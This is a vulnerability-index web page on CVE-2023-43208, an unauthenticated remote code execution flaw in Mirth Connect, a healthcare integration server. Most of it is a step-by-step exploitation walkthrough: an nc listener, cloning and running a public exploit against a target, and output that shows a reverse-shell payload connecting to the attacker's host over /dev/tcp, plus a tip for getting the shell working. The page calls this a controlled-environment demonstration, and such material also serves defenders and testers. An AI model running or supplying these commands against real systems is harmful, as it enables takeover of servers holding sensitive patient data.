Skip to content
HackIndex logo

HackIndex

CVE-2023-43208:
Mirth Connect RCE

Published: Feb 22, 2026
Critical
Shell injection

CVE-2023-43208 is a critical vulnerability in NextGen Healthcare Mirth Connect (versions before 4.4.1) that lets an unauthenticated remote attacker execute arbitrary code on the server, meaning they can potentially take over the host, run commands, drop malware/ransomware, pivot inside the network, and access or manipulate sensitive healthcare data processed by that system.

RCE NextGen Healthcare Mirth Connect

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

K3ysTr0K3R/CVE-2023-43208-EXPLOIT
A PoC exploit for CVE-2023-43208
View Repository (opens in new tab)

First start a reverse shell listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Then exploit the target:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2023-43208-EXPLOIT
 
┌──(kali㉿kali)-[~]
└─$ pyenv virtualenv 3.10 CVE-2023-43208
┌──(kali㉿kali)-[~]
└─$ pip3 install requests pwncat-cs
 
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2023-43208.py -u https://$TARGET -lh $LHOST -lp $LPORT 
[*]  ██████ ██    ██ ███████       ██████   ██████  ██████  ██████        ██   ██ ██████  ██████   
██████   █████
[*] ██      ██    ██ ██                 ██ ██  ████      ██      ██       ██   ██      ██      ██ 
██  ████ ██   ██
[*] ██      ██    ██ █████   █████  █████  ██ ██ ██  █████   █████  █████ ███████  █████   █████  
██ ██ ██  █████
[*] ██       ██  ██  ██            ██      ████  ██ ██           ██            ██      ██ ██      
████  ██ ██   ██
[*]  ██████   ████   ███████       ███████  ██████  ███████ ██████             ██ ██████  ███████  
██████   █████

[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )

[*] Setting up listener on $LHOST:$LPORT and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
  File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
    self.run()
  File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 953, in run
    self._target(*self._args, **self._kwargs)
  File "/tmp/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
    with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
  File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/socket.py", line 939, in create_server
    raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', $LPORT))
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://$TARGET
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/$LHOST/$LPORT;sh <&53 >&53 2>&53'
[*] Launching exploit against https://$TARGET...

You will get an error "Address already in use" since we have a nc listener our self. You can stop that listener and rerun the exploit again to get reverse shell inside the exploit script.